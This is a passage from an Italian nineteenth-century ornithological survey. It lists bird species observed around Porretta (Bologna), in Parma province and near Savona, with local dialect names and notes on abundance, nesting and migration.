comprendono più che nelle superiori le coltivazioni dei cereali e per gran parte quella della vite (sino all’altezza dai 500 ai 600 metri). Nella regione della Quercia la coltivazione dei cereali, dei prati artificiali, dei vigneti e altre svariate raggiungono proporzioni ragguardevoli. Elenco delle specie di uccelli osservate nel distretto di Porretta, Vergato, provincia di Bologna, con nomi volgari locali e notizie di frequenza, nidificazione, ec. Corvus Corone. Erratica e poco frequente Corvus Cornix. Nidificante ed erratica. Corvus frugilegus. Poco comune, invernale. Garrulus glandarius, Giandara. Sedentaria e comunissima. Sturnus vulgaris. Scarso alle due epoche del passo e anche d’inverno. Fringilla cœlebs, Franguel. Sedentario e comune. Fringilla Montifringilla. Poco frequente e nidificante. Petronia stulta, Passera bastarda. Poco numerosa, nidifica tra i castagni. Passer montanus, Zelega. Poco comune, invernale. Passer Italiae. Sedentaria e abbondante. Coccothraustes vulgaris, Frison. Scarso, nidificante ed erratico nell’inverno. Ligurinus Chloris. Comune, nidificante, erratico. Carduelis elegans, Gardlin. Comune, erratico, di raro rimane l’inverno. Serinus hortulanus, Giallino, Cardarugiolo. Nidificante ed erratico. Cannabina Linota. Poco abbondante. Pyrrhula europæa. Raro, nidifica tra i faggi e castagni, erratico d’inverno. Emberiza Citrinella, Pajuriz. Nidificante ed erratico. Emberiza Hortulana. Raro, nidificante, estivo. Alauda arvensis. Nidificante ed erratica. Galerita cristata. Poco frequente, ma nidificante. Anthus trivialis, Spipola. Nidificante ed erratica. Anthus Spipoletta, Spiplina. Nidifica in alto ed emigra nell’autunno. Motacilla alba, Guardianina. Sedentaria e comune. Calobates melanope, Guardianina gialla. Scarsa e sedentaria. Saxicola Oenanthe. Comune ed estivo. Monticola saxatilis, Merel sassar. Poco frequente, ma nidificante. Monticola Cyanus. Non comune, nidificante ed erratico. Merula nigra, Merel. Frequente e sedentario; nell’autunno vedesi una varietà detta maremmmana, il cui maschio è di un nero grigiastro con becco scuro. Merula torquata. Usualmente rara, ma nell’autunno 1866 ve ne fu abbondante passaggio ed a Bologna si vendevano col nome di Merli della Porretta. Turdus pilaris, Colombella. Di passo autunnale. Turdus iliacus, Susino, Susinello. Frequente sulla fine dell’autunno. Turdus musicus, Tord. Poco frequente di doppio passo; alcune coppie nidificano in alto tra i faggi. Turdus viscivorus, Gesso. Frequente e sedentaria. Aëdon Luscinia, Lusignol. Scarso, nidificante. Erithacus Rubecula, Pittiros. Comune, nidifica sui monti, erratico d’inverno. Ruticilla Phœnicurus, Codirossola. Frequente e nidificante. Ruticilla titys, Codirossola di monte. Poco frequente, nidifica in alto; in autunno scende per qualche tempo nella regione della Quercia, quindi cala al piano. Pratincola Rubicola, Saltimpunta. Poco comune, ma nidificante. Monachus Atricapillus. Comune e nidificante. Monachus hortensis. Poco abbondante e nidificante; vedesi specialmente in agosto e settembre. Cettia Cettii. Non frequente, ma nidificante. Troglodytes parvulus, Ariattin. Comune e sedentario. Cinclus aquaticus, Merel aquar. Sedentario, comune. Accentor modularis, Passra d’macia. Poco comune, nidificante ed erratica. Regulus cristatus, Uslin dal fred. Scarso, invernale. Regulus ignicapillus, Uslin dal fred. Scarso, invernale. Acredula rosea, Pulzon. Sedentaria e comune. Parus major, Paranzino. Comune e sedentaria. Parus ater. Sedentaria, ma poco frequente. Cyanistes caeruleus, Paranzin piccol. Sedentaria. Certhia brachydactyla, Beccaragni. Scarso e sedentario. Tichodroma muraria. Accidentale nell’inverno. Sitta cæsia, Brescandalo. Comune e sedentario Oriolus Galbula, Sgalbeder. Estivo, nidificante. Ampelis Garrulus. Un solo colto nel 1867. Lanius minor, Bufferla grossa. Estiva e nidificante. Lanius Collurio, Bufferla piccola. Comune, estiva. Lanius auriculatus, Bufferla mezzana. Estiva, scarsa. Hirundo rustica, Rondanina. Comune, arriva in marzo, fa due covate e parte in settembre. Chelidon urbica, Rondic. Comune, estivo. Cotile rupestris. Nidifica sugli alti monti, da dove scende sul finire dell’estate in branchi numerosissimi; se allora un temporale li sorprende, si fermano aggruppati insieme come uno sciame di api, sotto le grondaie o sopra un albero e allora facilmente si prendono. Cypselus Apus. Giunge il 25 apr., nidifica e parte il 25 lug. Cypselus Melba. Di comparsa accidentale. Caprimulgus europæus, Fialapp. Scarso ed estivo. Picus major. Non frequente e nidificante. Picus minor. Raro, ma nidificante. Gecinus viridis, Pigh gross. Sedentario e frequente. lynx Torquilla, Gavitoreciola. Estivo. Cuculus canorus, Cuch. Estivo e frequente. Alcedo Ispida, Piumbin. Sedentario. Upupa Epop, Puppla. Estiva, ma non frequente. Strix flammea, Barbazagn. Rarissimo. Syrnium Aluco, Locch. Sedentario. Asio Otus. Accidentale in ottobre 1887. Athene Noctua, Zivetta. Frequent e sedentaria. Scops Giu, Ciuu. Estivo e frequente. Bubo maximus. Accidentale. Aquila Chrysaëtus. Accidentale nel 1886. Buteo vulgaris, Pujen. Scarsa e nidificante. Falco Peregrinus. Scarso, ma nidificante. Æsalon regulus, Falchett da Passer. Comune, forse sedentario; nidificante. Cerchnéis Tinnunculus, Falchett. Comune, nidificante. Cerchnéis vespertinus. Di passaggio. Accipiter Nisus, Falchett. Sedentario. Ardea cinerea. Accidentale nell'estate. Ardeola ralloïdes. Accidentale. Botaurus stellaris. Accidentale. Nycticorax griseus. Rarissimo, uno venne ucciso nell'inverno del 1886. Anas Boscas. Accidentale nell'inverno. Columba Palumbus, Clumb favazz. Poco comune, di passaggio e anche nidificante. Columba Oenas. Scarsa di passaggio. Turtur tenera, Tortorina. Estiva. Starna Perdix. Frequent e sedentaria nella zona della Quercia. Coturnix communis. Scarsa ed estiva; nel 1886 ve ne fu un passo straordinario per abbondanza. Gallinula chloropus. Accidentale. Fulica atra, Folga. Accidentale. Grus communis. Passa a stormi in alto in ott. e novembre. Charadrius Pluvialis. Raro nell'inverno. Vanellus Capella, Gallinella. Rara. Scolopax Rusticula, Pizzacera. Giunge in numero discreto in ottobre, non sverna e ripassa in primavera. Gallinago major, Pizzaccherino. Accidentale. Gallinago caelestis, Pizzaccarin. Scarso. Parma, (Del Prato dott. Alberto): Le osservazioni intorno agli uccelli del Parmense, salvo indicazioni contrarie, non si estendono all'intera provincia. Sono anzi per la maggior parte compiute nel breve tratto del circondario di Parma che inferiormente all'Emilia fino al Po, va dal torrente Enza fino all'altro detto Rovacchia; al quale tratto si deve aggiungere una breve porzione della destra del Po fra lo sbocco dell'Enza e la città di Guastalla. Tutta questa regione è assolutamente piana ed è solcata da tre grossi torrenti, l'Enza, il Parma ed il Taro di un regime molto vario, e da numerosi cavi e canali di acque perenni: essa è completamente coltivata e solo piccole porzioni di boschi si rinviengono qua e là lungo le sponde dei torrenti; la coltivazione vi è uniforme a prati stabili ed irrigui od artificiali non irrigui, a campi di frumento e melica ed a piccoli tratti di fave, canape, orti, vigne, risaie. Attraversata questa regione da fitta rete di strade, è ripartita in poderi piuttosto piccoli cinti da siepi, e le varie coltivazioni a guisa di irregolare scacchiere si intercalano l'una all'altra, onde raramente si trovano identiche condizioni per lunghi tratti. Mancano stagni d'acqua e la limitata coltivazione del riso si ha solo nelle vicinanze del Po. Nell'estate la regione parmense è visitata da piogge temporalesche e localizzate, nell'autunno e primavera è piuttosto una regione di pioggia, e di nevi nell'inverno che si rendono spesso stabili per due o tre mesi con forte freddo e gelo. Finalmente osservasi che vi sono poche e non rispettate riserve di caccia. Elenco delle specie di uccelli osservate nella provincia di Parma, con nomi volgari locali ed indicazioni sulla frequenza, nidificazione, ec. Corvus Corax. Accidentale; uno preso il 1 febbraio 1889 vicino a Borgotaro. Corvus Cornix. Sedentaria. Corvus frugilegus. Sedentario (?). Lycos Monedula. Accidentale. Pica rustica. Sedentaria, nidificante. Garrulus glandarius. Sedentaria, nido con 2 uova 10 giugno. Sturnus vulgaris. Sedentario, nidificante. Pastor roseus. Accidentale, avuto il 12 gennaio 1884. Fringilla coelebs. Sedentario e nidificante. Fringilla Montifringilla. Petronia stulta. Passer montanus. Sedentaria e nidificante. Passer Italicus. Sedentaria e nidificante. Coccothraustes vulgaris. Sedentario e nidificante. Ligurinus Chloris. Sedentario e nidificante. Chrysomitris Spinus. Scarso. Carduelis elegans. Sedentario e nidificante. Serinus hortulanus. Scarso. Cannabina Linota. Frequente. Ægiothus Linarius, Fanèll d'la Regenna. Accidentale. Pyrrhula europæa. Nidifica ai monti, erratico d'inverno. Loxia Curvirostra. Accidentale, veduto nel 1879 e 1887 in agosto. Miliaria Projer. Sedentario e nidificante. Emberiza Citrinella. Frequente. Emberiza Cirlus. Scarso. Emberiza Hortulana. Estivo, avuto nido 8 luglio con uova. 1 Il dott. Alberto Del Prato ha pubblicato un Catalogo degli Uccelli fin ora rinvenuti nelle province di Parma e Piacenza, Parma, 1891. Emberiza Schœniclus. Abbastanza frequente. Alauda arborea. Sedentaria e nidificante. Alauda arvensis. Sedentaria e nidificante. Galerita cristata. Sedentaria e nidificante. Agrodroma campestris. Non raro. Anthus pratensis. Frequente. Anthus trivialis. Frequente. Anthus Spipoletta. Scarso. Budytes flavus. Frequente. Budytes cinereocapillus. Nidificante ed estiva. Motacilla alba. Sedentaria e nidificante. Calobates melanope. Sedentaria e nidificante. Saxicola Oenanthe. Estivo e nidificante. Monticola saxatilis. Estivo, scarso e nidificante. Merula nigra. Sedentario in parte; var. montana tutte femmine. Merula torquata. Scarso. Turdus pilaris. Scarsa. Turdus iliacus. Non raro. Turdus musicus. Frequente. Turdus viscivorus. Sedentaria e nidificante. Aëdon Luscinia. Estivo e nidificante. Erithacus Rubecula. Frequente. Cyanecula Wolfi. Di scarso passaggio marzo, aprile, ottobre. Ruticilla Phœnicurus. Estivo e nidificante. Ruticilla titys. Scarso. Pratincola Rubicola. Frequente. Pratincola Rubetra. Non raro. Sylvia nisoria. Estiva, nidificante, scarsa. Sylvia orphæa. Scarsa. Sylvia cinerea. Estiva e nidificante. Monachus Atricapillus. Nidificante. Monachus hortensis. Scarso. Pyrophthalma melanocephala. Accidentale. Phylloscopus Trochilus. Frequente. Phylloscopus Bonellii. Raro assai. Phylloscopus rufus. Frequente. Hypolais icterina. Non raro. Hypolais polyglotta. Non raro. Acrocephalus palustris. Non rara. Acrocephalus streperus. Nidificante, avuto nido con uova il 27 maggio e ancora nella prima metà di luglio. Acrocephalus arundinaceus. Nidificante ed estivo. Calamodus schœnobœnus. Comune nelle risaie. Calamodus aquaticus. Raro. Lusciniola melanopogon. Accidentale. Locustella naevia. Accidentale; uno preso vicino a Parma il 3 ottobre 1889. Cisticola cursitans. Scarsa. Troglodytes parvulus. Sedentario e nidificante. Cinclus aquaticus. Sedentario e nidificante, non varia: erratico d’inverno. Accentor modularis. Comune. Regulus cristatus. Comune. Regulus ignicapillus. Non raro. Ægithalus pendulinus. Avuto il nido una sola volta. Acredula rosea. Sedentaria e nidificante. Parus major. Sedentaria e nidificante; 12 giugno uova in sviluppo. Parus ater. Per caso straordinario fu comune nell’inverno 1887-88. Cyanistes cæruleus. Sedentaria e nidificante. Pœcile palustris. Sedentaria e nidificante. Sitta cæsia. Sedentario e nidificante. Certhia brachydactyla. Sedentario e nidificante. Tichodroma muraria. Erratico. Oriolus Gaibula. Estivo e nidificante: 8 luglio i piccoli. Lanius Excubitor. Scarsa. Lanius minor. Estiva e nidificante. Lanius Collurio. Estiva e nidificante. Lanius auriculatus. Estiva e nidificante. Muscicapa collaris. Scarsa, di passo ai primi d’aprile. Muscicapa Atricapilla. Non comune. Butalis Grisola. Scarso. Hirundo rustica. Estiva e nidificante. Chelidon urbica. Estivo e nidificante. Clivicola riparia. Estivo e nidificante. Cypselus Apus. Estivo e nidificante. Cypselus Melba. Due sole catture. Caprimulgus europaeus. Estivo, l'8 agosto ebbi nidiaceo. Picus major. Sedentario e nidificante. Picus minor. Sedentario e nidificante. Gecinus viridis. Sedentario e nidificante. Ilynx Torquilla. Estivo e nidificante. Cuculus canorus. Non raro. Alcedo Ispida. Sedentario e nidificante. Coracias Garrula. Avuta il 28 aprile e nella prima metà del settembre. Merops Apiaster. Estivo e nidificante; ebbi le uova il 13 giugno. Upupa Epop. Non rara. Strix flammea. Sedentario e nidificante. Syrnium Aluco. Sedentario e nidificante, il 24 maggio giovane già svelto. Asio Otus. Scarso. Asio accipitrinus. Non comune. Athene Noctua. Sedentaria e nidificante. Scops Giu. Estivo e nidificante. Bubo maximus. Sedentario, scarso, fors'anche di passo. Circus aeruginosus. Di passaggio scarso, avuto il 6, 8, 17 aprile. Circus cyaneus. Di passaggio scarso, 7 aprile ed ottobre. Circus Swainsoni. Rara. Pandion Haliaëtus. Accidentale, il 26 settembre 1880. Circaëtus gallicus. Assai raro. Haliaëtus Albicilla. Di passaggio scarso; presa 3 volte, una il 5 dicembre. Aquila Chrysaëtus. Sedentaria. Aquila clanga. Accidentale. Buteo vulgaris. Sedentaria. Archibuteo lagopus. Accidentale affatto. Pernis apivorus. Accidentale. Milvus Ictinus. Accidentale, il 30 novembre 1885. Falco Peregrinus. Sedentario, ma scarso ed erratico d'inverno. Hypotriorchis Subbuteo. Scarso. Æsalon regulus. Non raro. Cerchnéis Tinnunculus. Sedentario e nidificante. Cerchnéis vespertinus. Di passo, avuto dal 23 aprile al 1'8 maggio. Astur palumbarius. Accidentale, un maschio giovane il 10 ottobre 1883. Accipiter Nisus. Sedentario. Gyps fulvus. Accidentale, un maschio giovane il 21 ottobre 1885. Pelecanus Onocrotalus. Accidentale. Phalacrocorax Carbo. Accidentale. Ardea cinerea. Sedentario e specialmente invernale. Ardea purpurea. Scarso. Egretta Garzetta. Avuta il 12 maggio; scarsa, di passaggio. Ardeola ralloides. Avuta il 27 apr.; scarsa, di passo soltanto. Ardetta minuta. Estivo, frequente. Botaurus stellaris. Di passo in marzo e novembre. Nycticorax griseus. Di passo in aprile, rari i giovani. Ciconia alba. Rare volte si vede nella seconda metà d'agosto. Ciconia nigra. Di passo in aprile ed agosto. Platalea Leucorodia. Accidentale. Plegadis Falcinellus. Veduto il 23 aprile ed il 5 ottobre; scarso, di passo soltanto. Cygnus musicus. Accidentale nel marzo 1888. Anser segetum. Scarsa. Tadorna cornuta. Accidentale. Anas Boscas. Anche nidificante. Spatula clypeata. Non raro. Dafila acuta. Comune. Mareca Penelope. Comune. Nettion Crecca. Comune. Querquedula Circia. Comune. Fuligula rufina. Accidentale. Fulix ferina. Comune. Fulix Fuligula. Non rara. Fulix Nyroca. Non rara. Bucephala Clangula. Non comune. Edemia fusca. Non tanto raro. Erismatura leucocephala. Accidentale. Mergus Merganser. Accidentale. Mergus Serrator. Non comune. Mergellus Albellus. Scarsa. Columba Palumbus. Nidificante, ma scarso. Columba Oenas. Non comune. Turtur tenera. Estiva e nidificante. Syrrhaptes paradoxus. Accidentale il 27 maggio 1888. Perdix rufa. Sedentaria, scarsa. Perdix saxatilis. Sedentaria ed abbastanza frequente. Starna Perdix. Sedentaria e nidificante. Coturnix communis. Estiva e nidificante. Rallus aquaticus. Abbastanza comune. Ortygometra Porzana. Abbondante. Ortygometra Bailloni. Non rara. Ortygometra parva. Non rara. Crex pratensis. Estivo, nidificante, ma scarso. Gallinula chloropus. Sedentaria. Fulica atra. Sedentaria. Otis Tarda. Accidentale. Otis Tetrax. Accidentale. Edicnemus scolopax. Estivo e nidificante. Charadrius Pluvialis. Di passo. Eudromias Morinellus. Accidentale. Ægialitis curonica. Abbastanza frequente. Ægialitis Hiaticula. Non raro. Vanellus Capella. Comune. Hæmatopus Ostralegus. Accidentale in aprile. Recurvirostra Avocetta. Accidentale. Himantopus candidus. Di passo soltanto. Actodromas minuta. Di passaggio, 8-10 maggio. Actodromas Temmincki. Di passaggio, 16 maggio. Machetes Pugnax. Scarsa. Pelidna alpina. Raro assai. Tringoides Hypoleucus. Abbastanza frequente. Totanus Ochropus. Non raro. Totanus Glareola. Scarso. Totanus stagnatilis. Di passo, 7-23 aprile. Totanus Calidris. Di passo 21 marzo, 22 aprile, scarsa. Totanus fuscus. Scarsa. Totanus nebularius, Gambinon. Non comune. Limosa melanura, Arsega. Di passaggio, avuta il 27 aprile. Scolopax Rusticula. Comune di passo. Gallinago major. Di passo, 28-31 marzo, scarso. Gallinago caelestis. Di passo, avuto il 26 dicembre. Gallinago Gallinula. Non raro. Numenius Arquata, Pizzacra d'mar. Non comune. Sterna fluviatilis. Comuné. Sternula minuta. Scarso. Hydrochelidon nigra, Magnanen. Comune. Chroocephalus ridibundus. Non raro. Larus canus. Di scarso passaggio. Colymbus glacialis. Accidentale. Podiceps cristatus. Non raro. Podiceps cornutus. Accidentale, solo i giovani. Podiceps nigricollis. Di passaggio scarso. Podiceps fluviatilis. Sedentario. Sottoregione Peninsulare o Meridionale. LIGURIA. Genova, zona meridionale del circondario di Savona (Piccone cav. Enrico): Il circondario di Savona ha per confini gli Appennini al N., il Mediterraneo al S., il Capo Noli ad O., e il torrente Levone (tra Cogoleto e Arenzano) ad E. È diviso dagli Appennini in due versanti o zone differenti fra loro. La settentrionale si unisce al Monferrato, ed ha con esso molta analogia nella natura fisica, coltivazione, clima ed eziandio nella Fauna. La meridionale è composta di valli parallele da N. a S. formate dai contrafforti della Catena principale, i quali alti ed aspri al principio, vanno abbasandosi verso mezzogiorno, e ridotti a colline s'immergono a perpendicolo sul mare, a modo di promontorii. Queste valli strette in alto, allargansi poi a modo d'imbuto, dando luogo a pianure più o meno estese; più ampie fra tutte quella tra le due Albissole, e l'altra fra Vado e Savona. La vetta della Catena principale è composta di gerbidi, con qualche bosco di Faggi e Roveri, ed i fianchi di castagneti e boschi cedui con intervalli coltivati. La parte montuosa dei contrafforti è coronata di Pini (P. sylvestris) ed ha sui fianchi Castagni, Lecci, Roveri, e in maggiore estensione boschi cedui di Corbezzoli, Mirti, Ginepri, Biancospino, Scope e Ginestre. Sono fra questi molti campi disposti a terrazzo; ma alla marina le colline sono coperte per intero da vigne e uliveti. Le pianure fertilissime sono tutte orti, vigne, giardini. Pertanto la parte coltivata supera di molto l'incolta e boschiva; e nulle affatto sono le superficie acquatiche e palustri. I torrenti medesimi che solcano le valli, conservano soltanto nell'estate poc'acqua perenne verso la sorgente, ma son sempre asciutti verso la foce. Epperciò gli uccelli aquatici o palustri si vedono solo di passo, e non si arrestano che per riposarsi. La parte piana non corrisponde nemmeno al significato che gli si dà in altri luoghi, sotto il rapporto ornitologico: essa è tutta coperta di ortaglie innaffiate, pergolati, alberi fruttiferi e piena di abitazioni; per cui molti uccelli che altrove si riproducono o soggiornano in pianura, qui s'incontrano di preferenza in collina, salvo nel passaggio, e quando il terreno è bianco di neve. Sotto l'aspetto ornitologico, importante è la circostanza che alle spalle e vicino a Savona trovasi la maggior depressione degli Appennini, nel collo impropriamente detto di Cadebona invece di Altare, comune situato nel colle medesimo. Il clima è mite come in tutta la Liguria, ma meno della vicina provincia di Porto Maurizio. Due o tre volte all'anno comparisce la neve per poco tempo sulle creste degli Appennini, e qualche volta più in basso sui contrafforti ed anche alla marina stessa, ma per pochi giorni e non tutti gli anni. Al litorale possono vegetare benissimo gli Agavi, il Sughero, il Carubbo, e nei luoghi riparati anche i Palmizii. Elenco delle specie di uccelli osservate nella zona meridionale del circondario di Savona, provincia di Genova; coi nomi volgari locali e notizie di frequenza, nidificazione, migrazione, ecc. ecc. Corvus Corax, Crovo. Raro. Corvus Corone, Goa. Numerosa, invernale. Corvus Cornix, Cornaggia. Scarsa d'autunno e d'inverno. Corvus frugilegus, Goa. Invernale. Nucifraga Caryocatactes. Rara. Un solo avuto, preso in collina. Pica rustica, Berta. Piuttosto scarsa, sedentaria ai monti e colline. Garrulus glandarius, Gazzanha. Comune, sedentaria ai monti e colline. Sturnus vulgaris, Sturnello. Numeroso ovunque, non nidifica. Pastor roseus, Merlo reusa. Accidentale, nullo il più degli anni, numeroso in altri. Fringilla cælebs, Fringuello. Numeroso, sedentario e svernante al piano e più in collina. Fringilla Montifringilla, Muntagnin. Numerosa alle colline e al piano. Montifringilla nivalis. Raro. Un solo preso in collina vicino al mare. Petronia stulta, Passuùn. Numerosa ai monti, colline e piano, invernale ed erratica. Passer montanus, Passuetta. Numerosa alle basse colline e al piano. Passer Italiae, Passua. Numerosa, sedentaria nell'abitato. Passer domesticus, Passua. Rara. Due furono prese in collina. Coccothraustes vulgaris, Frixùn. Più o meno numeroso secondo gli anni, invernale ed erratico. Ligurinus Chloris, Verdùn. Comune, invernale ed erratico. Chloroptila Citrinella, Lügao côrso. Raro. Chrysomitris Spinus, Lügao. Comune, certi anni abbondantissimo in collina e pianura. Carduelis elegans, Cardainha. Comune, sedentario, invernale ed erratico. Serinus hortulanus, Siaìn. Comune in collina e piano. Cannabina Linota, Fanetto. Comune, invernale e di transito. Ægiothus Linarius, Fanetto côrso. Raro. Carpodacus erythrinus. Raro. Pyrrhula europaea, Sbruttùn, Scigùn. Comune ma non abbondante, invernale ed erratico, nidifica ai monti. Loxia Curvirostra, Beccotorto. Per anni nullo, in altri numeroso. Euspiza melanocephala, Sia d'Africa. Raro. Euspiza aureola. Rarissimo. Miliaria Projer, Mìtan. È comune ed erratico, ma non abbonda. Emberiza Citrinella, Sia giana. Numeroso, invernale. Emberiza Cirlus, Sia nostrà. Numeroso, sedentario, invernale e di passo. Emberiza Hortulana, Nuttuan. Estivo, numeroso, nidificante in collina. Emberiza Cia, Sia russa. Numeroso, nidificante, invernale e di passo. Emberiza leucocephala. Raro. Emberiza rustica. Raro. Emberiza pusilla. Raro. Emberiza Schœniclus, Sia da canne. Numeroso, invernale. Emberiza pyrrhuloides. Come l'antecedente, colla quale si confonde, ma è meno numerosa. Calcarius nivalis, Sia da neve. Piuttosto raro, invernale. Melanocorypha Calandra. Rara. Otocorys alpestris. Rara. Calandrella brachydactyla, Rugnetta. Scarsa a primavera, rara in autunno. Alauda arborea, Collacetto. Numerosa, invernale e di passo. Alauda arvensis, Ciattarùn. Numerosa, invernale e di passo ma più nel piano. Galerita cristata, Lodoga. Sedentaria in collina e al piano. Agrodroma campestris. Piuttosto scarso, nidifica ai monti. Anthus pratensis, Sbi Sbi. Piuttosto numerosa al passo e nell'inverno sul greto dei fiumi e terreni attigui. Anthus trivialis, Spia de Nuttuan. Poco numeroso, di doppio passo. Anthus Spipoletta, Sbi Sbi. Numeroso, invernale, nidifica ai monti. Budytes flavus, Gianetta. Numeroso a primavera, scarso in autunno. Budytes cinereocapillus, Gianetta. Come la precedente. Motacilla alba, Paggiaetta. Comune e nidificante, frequente d'inverno. Calobates melanope, Balainha. In piano e nidificante lungo i ruscelli nelle valli montuose; più abbondante nell'inverno. Saxicola Oenanthe, Martinicca, Martieca. Numeroso all'arrivo in piano e sul greto dei fiumi, nidifica in montagna. Saxicola albicollis. Scarsa, ma non rara; nidifica in collina e ai monti. Saxicola Stapazina. Come la precedente. Monticola saxatilis, Cuarussùn, Merlo russo. Come la precedente. Monticola Cyanus, Merlo casuengo, Merlo casengo. Comune, ma non abbondante; nidifica in collina, al piano e sulle case. Merula nigra, Merlo. Numeroso, sedentario ai monti e in collina. Merula torquata. Poco numeroso, qualche anno scarso, preferisce i monti, ma scende pure alle colline del litorale. Turdus pilaris, Griva còrso. Numerosa, invernale. Turdus iliacus, Turdo còrso. Come la precedente. Turdus musicus, Turdo nostrà. Numeroso durante il passo, nidifica ai monti, colline e uliveti. Turdus viscivorus, Griva nostrà. Come il precedente. Aëdon Luscinia, Ruscigneu. Comune ed estivo. Erithacus Rubecula, Peccetto. Nidifica ai monti e col freddo scende alla marina, assai più abbondante nell'inverno. Cyanecula Wolfi, Peccetto da Sorchi, Pèto bleu. Scarso a primavera e più in autunno. Ruticilla Phœnicurus, Cua russa. Comune, di doppio passo. Ruticilla titys, Cua russa. Comune, nidifica ai monti, scende al litorale in collina e al piano col freddo. Pratincola Rubicola, Simma custi. Come l'antecedente. Pratincola Rubetra, Simma custi, Simmacusti de primaveja. Comune, di doppio passo. Sylvia orphaea. Comune, estivo, nidificante ai monti e colline. Sylvia cinerea, Ciarlettua. Comune, estiva ai monti e colline. Sylvia Curruca. Piuttosto rara, autunnale. Sylvia conspicillata, Ciarlettua, Giaretta. Scarsa, forse sedentaria. Monachus Atricapillus, Testa neigra. Numerosa, sedentaria. Monachus hortensis, Becafigo, Pittafigo. Estivo, comune, ma non troppo numeroso. Pyrophthalma melanocephala, Testa neigra montagninha. Comune e sedentario. Melizophilus undatus. Sedentaria, assai scarsa, ai monti nei boschi cedui, erratica nell'inverno. Phylloscopus sibilator, Boin de primaveja. Comune ed estivo, ma non abbondante: nidifica in collina e montagna. Phylloscopus Trochilus, Boin. Come il precedente. Phylloscopus Bonellii, Boin giunco. Come il precedente. Phylloscopus rufus, Boin. Numeroso ai monti in estate, al litorale col freddo, allora molti giungono da oltre monte. Hypolais icterina. Piuttosto scarso in primavera. Hypolais polyglotta. Come l’antecedente. Acrocephalus streperus. In numero mediocre, di passo in primavera, più scarsa in autunno. Acrocephalus arundinaceus, Ruscigneu cannajeu. Come l’antecedente. Calamodus schœnobœnus. Come il precedente. Calamodus aquaticus. Come il precedente. Lusciniola melanopogon. Raro. Cisticola cursitans. Raro. Troglodytes parvulus, Castagnetta. Comune e sedentario; ai monti in estate, al litorale ovunque nell’inverno, allora molti sono immigranti. Cinclus aquaticus, Merlo pescouè. Comune, sedentario, ma non abbonda; lungo i ruscelli e sui scogli del mare, col freddo, giungono immigranti. Accentor collaris, Sia du coi. Scarso e solo nell’inverno. Accentor modularis, Fournè, Senuella. Numerosa ai monti in estate, alla marina dappertutto d’inverno: molti giungono da fuori. Regulus cristatus, Reatin. Come il precedente. Regulus ignicapillus, Reatin. Come il precedente. Ægithalus pendulinus. Raro. Acredula rosea, Berbexin de cua lunga. Comune ai monti in estate, col freddo più numerosa alla marina. Parus major, Parisseua. Comune e sedentaria; d’inverno molte giungono da fuori. Parus ater, Muneghetta. Scarsa o abbondante secondo gli anni, autunnale. Cyanistes cæruleus, Barbexin. Comune ai monti in estate, discende col freddo alle colline marine; in alcuni anni sono meno numerose. Sitta cæsia, Picunzetto senein. Comune e sedentario ai monti, col freddo taluno discende. Certhia brachydactyla, Pitta formigue. Comune, sedentario. Tichodroma muraria, Rampeghin de muaggia. Di comparsa irregolare, ma non raro. Oriolus Galbula, Garbè. Abbondante, in piano e collina, ma soltanto ai due passi. Lanius Excubitor, Cajorno lumbardo, Cajorno terragno. Scarsa in pianura e collina nell’autunno. Lanius minor, Cajorno lumbardo o terragno. Comune, estiva, ma non abbondante. Lanius Collurio, Cajorno nostrà. Numerosa in collina e monti, estiva. Lanius auriculatus, Cajorno da testa russa. Come la precedente. Muscicapa Atricapilla. Alquanto scarsa in primavera ed autunno. Butalis Grisola, Ciappa mosche. Più numeroso della precedente, pure di passo, nidifica in collina. Hirundo rustica, Rundaninha. Estiva, comune sulle case. Chelidon urbica, Cii gianco. Come sopra. Clivicola riparia. Scarsa al passo, non so se soggiorni. Cypselus Apus, Dardao. Estivo, comune sugli edifizii. Cypselus Melba, Dardao da pansa gianca. Scarso, non so se soggiorni. Caprimulgus europaeus, Carcabaggi, Rundun. Comune ed estivo, nidifica in montagna. Picus major, Pianzo o Picunzo. Comune, sedentario, ma non abbonda; in montagna e in collina. Picus minor, Pianzetto o Picunzetto. Scarso, sedentario ai monti e colline. Gecinus viridis, Picunzo verde, Picunzo gallinà. Comune più degli altri, sedentario in montagna fra i boschi. Iynx Torquilla, Torsicollo, Pianzo torsicollo. Comune, specialmente in primavera. Cuculus canorus, Cucco. Comune, estivo in montagna e collina. Alcedo Ispida, Martin pescoù. Alquanto scarso, nelle valli e sugli scogli del mare, non so se annidi. Coracias Garrula, Serenùn. Scarsa ed irregolare, di passo. Merops Apiaster, Serenha. Alquanto scarso, di passaggio. Upupa Epop, Galletto de marzo. Come sopra. Strix flammea, Rumfun. Sedentario, in numero mediocre sugli edifizii. Syrnium Aluco. Scarso, forse nidificante ai monti. Asio Otus. In numero mediocre, invernale. Asio accipitrinus. Come il precedente. Athene Noctua, Sivetta. Comune e più nell’inverno, sedentaria sugli edifizii. Scops Giu, Ciò. Comune, estivo ai monti. Bubo maximus, Diugo o Cravà. Alquanto raro, sedentario ai monti. Circus aeruginosus, Farco. Lo credo scarso, di passo in primavera. Circus cyaneus, Farco. Come sopra. Circus cineraceus, Farco. Come sopra. Circaëtus gallicus, Farco grosso. Comune, ma non abbondante, di doppio passaggio. Buteo vulgaris, Farco. Invernale, più o meno comune secondo gli anni. Pernis apivorus, Farco. Non è raro, di passo, ma nemmeno comune. Aquila Chrysaëtus, Aquila rea. Rara. Hypotriorchis Eleonoræ. Raro assai. Hypotriorchis Subbuteo, Farchetto, Crivela. Comune, di doppio passo. Cerchneis Tinnunculus, Crivela russa. Comune, sedentario al piano e collina. Cerchneis Naumanni, Crivela russa. Raro, anche immigrante. Cerchneis vespertinus, Farchetto. Più o meno comune di passo secondo gli anni, in primavera soltanto. Accipiter Nisus, Crivela grisea. Comune, di passo. Ardea cinerea, Perdigiorni senein. Di passo, piuttosto raro. Ardea purpurea, Perdigiorni russo. Comune, di doppio passo. Egretta Garzetta, Perdigiorni gianco. Alquanto scarsa, in primavera lungo i torrenti e più sulla spiaggia e scogli del mare. Ardeola ralloides, Perdigiorni. Più o meno abbondante, secondo gli anni, in primavera. Ardetta minuta, Perdigiorni piccin. Comune, di doppio passo. Botaurus stellaris, Perdigiorni. Alquanto scarso, di passaggio. Nycticorax griseus, Perdigiorni. Comune, di passaggio. Ciconia alba, Sigheugna. Passa alta senza fermarsi. Plegadis Falcinellus. Accidentale. Phoenicopterus roseus, Fenicottero. Rarissimo. Anser segetum, Oca sarvaega. Passa alta e si ferma raramente. Anas Boscas, Collo verde. Comune, invernale e di passo. Chaulelasmus streperus. Piuttosto rara, invernale. Dafila acuta, Marzaieù o Annia de due cüe. Comunissimo, non abbondante, di passo. Mareca Penelope, 